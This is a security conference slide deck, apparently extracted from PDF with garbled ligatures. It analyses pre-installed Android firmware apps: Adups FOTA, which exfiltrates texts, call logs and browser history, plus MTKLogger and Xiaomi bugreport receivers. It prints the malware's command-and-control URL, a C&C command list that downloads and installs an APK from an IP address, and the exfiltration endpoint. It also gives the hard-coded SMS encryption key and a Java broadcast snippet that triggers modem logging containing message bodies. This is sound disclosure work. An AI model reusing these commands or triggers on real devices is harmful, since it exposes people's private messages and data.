All Your SMS &Contacts Belong
To Adups &Others
Ryan Johnson, Kryptowire
Angelos Stavrou, Kryptowire
Azzedine Benameur, Kryptowire

What Resides in Your Mobile Firmware?

Pre-installed Apps in the Firmwarep

Android devices come with a set of pre-installed apps
np

The pre-installed apps can be malicious and/or insecurenp

Framework apps, vendor apps, carrier apps, etc.

Privileged apps with inadequate applicaNon component security

We will discuss a set of malicious pre-installed apps and twoapps that are insecure and can thus be locally exploitednAdups

nMTKLogger

nXiaomi’s com.miui.bugreport app

Adups FOTA Update Apps
pAdups has a set of pre-installed system apps that perform Firmware Over
the Air (FOTA) updates where the package names can bencom.adups.fota, com.adups.fota.sysoper, com.data.acquisi1on, com.fw.upgrade,and com.fw.upgrade.sysoper (bolded apps execute as the system user)

pApps that execute as the system user have special privileges
and are granted a block of powerful permissions by defaultpPersonally IdenNﬁable InformaNon (PII) exﬁltraNon occurs
without user knowledge or consent

Scope of Adups SoXware

Adups Security Track RecordpAdups remotely installing apps on Micromax devices (2015)
np

Local command execuNon as system user (2015)nph]ps://www.xda-developers.com/micromax-remotely-installing-unwanted-appson-devices/h]ps://github.com/rednaga/disclosures/blob/master/GetSuperSerial.md

Local privilege escalaNon from system user to root user (2015)nh]ps://github.com/rednaga/disclosures/blob/master/GetSuperSerial.md

Sorry About the Command InjecNon (English)p

Exposed command execuNon as system user via the exported broadcast receiver
named WriteCommandReceiver in the com.adups.fota.sysoper app

Sorry About the Command InjecNon (Mandarin)Adups PII ExﬁltraNon IniNal Discoverypp

IniNally discovered in the BLU R1 HD device
nAmazon Prime exclusive (has pre-installed Amazon apps)n

Was and is the #1-selling unlocked smartphone on Amazon

Adups sNll provides the ﬁrmware update service for BLU
nLess aggressive PII collecNon (no more text messages and call log)

Adups Command & Control Channelp

Command & Control (C&C) channel acNvates aXer the device has been usedfor 20 days (not necessarily consecuNve)p

AXer the upNme is at least 8 hours and the CONNECTIVITY_CHANGEbroadcast Intent is received, then a request goes out to the following URL
which returns commands to execute as the system usernp

http://rebootv5.adsunflower.com/ps/fetch.do

C&C channel uses HTTP, so it is open to Man-In-TheMiddle (MITM) a]acks

Adups Command & Control Channel"sf":["dl http://198.11.183.50/ps/down.do AdupsFota_5.05.0.3.004.apk/sdcard/b315","pm install –r /sdcard/b315","am start –ncom.adups.fota/.GoogleOtaClient","echo '' > /sdcard/b315”]
pC&C channel updated the exﬁltraNng versions of Adups apps with “nicer” ones

Triggering the PII ExﬁltraNon – “analyNcs” ;-)p

There is a component named AnalyticsReceiver that “listens” for theCONNECTIVITY_CHANGE and ACTION_POWER_CONNECTED broadcast Intents
np

AnalyticsReceiver starts the AnalyticsService component which creates aAnalyticsReport object to record and compare Nmestamps
np

Triggered when phone plugged in to charge and/or joins or leaves a network (e.g., Wi-Fi)

Devices must also have an upNme of at least ten minutes

If at least 72 hours have passed since the ﬁrst run or previous exﬁltraNon, then theAnalyticsReport object performs the exﬁltraNon where it will obtain PII data from theInfoProvider content provider in the com.adups.fota.sysoper appnstaNc ﬁnal Uri MSG_URI = Uri.parse(String.valueOf(new char[]{'c', 'o', 'n', 't', 'e', 'n', 't', ':', '/', '/', 's','m', 's'})); // <------ content://sms

PII ExﬁltraNon Endpointh]ps://bigdata.adups.com/fota5/
mobileupload.acNon
Embeds zip ﬁle into POST request
Zip ﬁle contains various JSON ﬁles with
PII and data about the device
Text messages use an addiNonal layerof encrypNon

Adups Domain Infowhois adups.com
Domain Name: adups.com
Registry Domain ID: 114801848_DOMAIN_COM-VRSN
Registrar WHOIS Server: grs-whois.hichina.com
Registrar URL: h]p://whois.aliyun.com/
Registrar RegistraNon ExpiraNon Date: 2020-03-22T18:04:48Z
Registrar: HICHINA ZHICHENG TECHNOLOGY LTD.
Registrar IANA ID: 420
Domain Status: ok h]p://www.icann.org/epp#OK
Registry Registrant ID: Not Available From Registry
Registrant Name: bo zhang
Registrant OrganizaNon: Shanghai Adups Technology Co. LtdRegistrant Street: Room403,22 Boxia Rd,Zhangjiang,Pudong,Shanghai
Registrant City: Shang Hai
Registrant State/Province: Shang Hai
Registrant Postal Code: 201203$
Registrant Country: CN
Registrant Email: zhangbo@adups.cn

Adups Text Message ExﬁltraNonpText messages can be targeted using a keyword or speciﬁc phone numberand control whether or not to exﬁltrate the text messages

Text Message EncrypNon{"dc_date":"2016-10-14 11:37:49","dc_type":"1","keyword":"PTn0RPz8VMmI0UNU4AboNydOXfqLrsefP9LWLefa9jI\u003d","md5":"B865B089A298D529B4602A3D359FE4C8","msg_date":"1473799797643","msg_type":"2","tell":"+15715555555"}p

Uses a DES hard-coded key value of NotCrack and an IV value of bytes 1 through 8Sorry ¯\_(ツ)_/¯
java DecryptTextBody PTn0RPz8VMmI0UNU4AboNydOXfqLrsefP9LWLefa9jI\u003d

Too much is never enoughJSON Files that Can Appear in the Exﬁltrated Zip Filedc_app_flow.json – the order in which the user uses their applicaNons
dc_msg_key.json - all text message send or received by the device with Nmestamps
DcApp.json - list of applicaNons installed on the device
DcAppOp.json - AppOps data (granted and denied permission)
DcMobileStatus.json - minimal device diagnosNc data
DcRootInfo.json - ﬁle lisNng of /system/bin and /system/xbin directoriesDcTellMessage.json - the user’s call log and text metadata with Nmestamps
dc_browser_his.json - the user’s browser historyAdups ExﬁltraNon StaNcally Detected via Signatures
DeviceBluboo Maya V178C HD
Colors P50
Colors P85
Cubot Cheetah
Cubot Dinosaur
Cubot Rainbow
Panasonic T44 Lite
Qmobile Z12 Pro
Ulefone Metal
Ulefone Be Pure Lite V3.2
Ulefone U007
Ulefone Vienna
Ulefone Future
Walton Primo X4
Walton Primo NF2 Lite
Walton Primo NF2 Plus
Walton Primo HM3 Plus
Walton Primo RM3
Walton Primo NX4 Mini
Walton Primo NF2Walton Primo NX4Walton Primo RX5
Walton Primo NH Litedc_app_ﬂow

DcApp✓✓

DcAppOp DcMobileStatus DcRootInfo DcTellMessage dc_msg_key dc_browser_his✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓✓

EvoluNon of Adups FOTA – StaNc Analysisp

The DcTellMessage.json ﬁle seems to only appear in Android 4.4.2 - 6 builds
nEarliest seen build date: January 20th, 2015 (Maximus IX UFO)pp

The dc_msg_key.json ﬁle seems to only appear in Android 6 builds
nEarliest seen build date: May 11th, 2016 (Cubot Cheetah)ppmaximus/j5018_maximus/j5018_maximus:4.4.2/KOT49H/1421742381:user/release-keys

alps/full_n625ab/n625ab:6.0/MRA58K/1462963832:user/test-keys

The dc_browser_his.json ﬁle seems to only appear in Android 6 buildsnEarliest seen build date: June 30th, 2016 (Walton Primo NF2)
p

alps/6.0/MRA58K/1468892313:user/test-keys

dc_browser_his.jsonp

New ﬁle seen in Cubot X16S device containing the device’s browser
historynpdc_browser_his.json

JSON array containing Nmestamp, URL, Ntle,
and the number of Nmes visited by the user[{"date":1493486047082,"title":"SuperSU","url":"http://www.supersu.com/faq/
howtoroot/","visits":2},{"date":1493486038475,"title":"SuperSU forum-where rooting
fans gather","url":"http://forum.supersu.com/topic/213/supersu-help-center/
384","visits":1},{"date":1501208418532,"title":"Adult Video on Demand \u0026 Porn Pay
Per View | Hot Movies","url":"https://www.hotmovies.com/m/splash.php","visits":1}]

References to “sales” in the Codep“Sales” references in com.adups.fota appnnnnpcom.msg.analytics.AnalyticsReport.saveSales()com.msg.analytics.AnalyticsReport.isSaleSent()com.msg.analytics.AnalyticsReport.checkSales()com.msg.analytics.Const.SALES_DATA_RQ
p String constant with a value of salesCountInterface.action

http://bigdata.adfuture.cn/fire/salesCountInterface.don

Sends out cell tower ID, MCC, MNC, IMEI, IMSI, MAC address, SIM serial number,phone number, and other device data in an encrypted format every 24 hours

MTKLogger Overview
pPre-installed system app on certain devices with a MediaTek chipsetnp

Reported at the same Nme as Adups and the vulnerabiliNes have been addressed innew versions of the appnp

Package name of com.mediatek.mtklogger

Devices that are no longer supported with ﬁrmware updates are leX vulnerable

Ability to obtain various logging informaNon that can be uNlized by an app co-locatedon the device
nLogs wri]en to the SD card - /sdcard/mtklog

MTKLogger Logging CapabiliNes
pMobileLog – Android log and the kernel log
np

Android log tends to contain sensiNve user datap Not available to third-party apps

ModemLog – Contains AT commands
nBody and number for text messages in 7-bit packed encoding

nPhone numbers for call datapNetworkLog – tcpdump capture of network traﬃcp

GPSLog – GPS coordinates along with Nmestamps

Xiaomi Redmi 4 VulnerabiliNespBluetooth Snoop log is acNve by default
np

Modem log can be enablednpp/sdcard/diag_logs

Can iniNate create a bugreportnContains Android log and dump of Android system servicesn/sdcard/MIUI/debug_log

Capture a screenshot
np/sdcard/btsnoop_hci.log/sdcard/DCIM/Screenshots

SNll vulnerable as of July 23rd, 2017
nXiaomi/rolex/rolex:6.0.1/MMB29M/V8.0.3.0.MCCCNDI:user/release-keys

com.miui.bugreport - bugreportpContains an unprotected BugreportGenerateReceiver broadcast receiver that will generate abugreport when it receives a broadcast Intent with an acNon ofcom.miui.bugreport.service.action.CONFIRM_DIALOGp

Phone vibrates three Nmes at the beginning of the creaNon of the bugreport and again when it isﬁnished and leaves a non-sNcky noNﬁcaNon

pAcNve noNﬁcaNons from the SystemUIService are included in the bugreportnotification=Notification(pri=0 contentView=com.android.mms/0x1090090 vibrate=null
sound=file:///system/media/audio/ui/MessageIncoming.ogg tick defaults=0x0 flags=0x11
color=0x00000000 category=msg vis=PRIVATE)
tickerText="5715555555: Hey are you still at work?"

com.miui.bugreport – Modem logp

The com.miui.bugreport app also contains a unprotected broadcast receiver
named ModemLogGenerator that “listens” for Android secret codespCreates a sNcky noNﬁcaNon while modem logging is acNvep

ApplicaNon cannot be disabled and writes the modem log to the SD cardnContains the body and phone number for text messages in 7-bit packed encoding

Intent i = new Intent("android.provider.Telephony.SECRET_CODE");i.setData(Uri.parse("android_secret_code://995"));
sendBroadcast(i);Conclusionp

Take a closer look at the pre-installed apps and soXware for mobile and IoT devices
np

Various Adups URLs should be blocked to prevent any exﬁltraNon of PII
np

Insecure and malicious apps can reside in the mobile ﬁrmwareh]p(s)://*.plumad.com, h]p(s)://*.adsunﬂower.com, h]p(s)://*.adfuture.cn,h]p(s)://*.advmob.cn, h]p(s)://*.adups.com, h]p(s)://*.adups.cn

Adups exﬁltraNon in various devices has been scaled back but can be scaled up with aﬁrmware update and change of server response
nInfrastructure for the PII exﬁltraNon and C&C sNll exists and is acNve on certain devices

QuesNons?
Thank You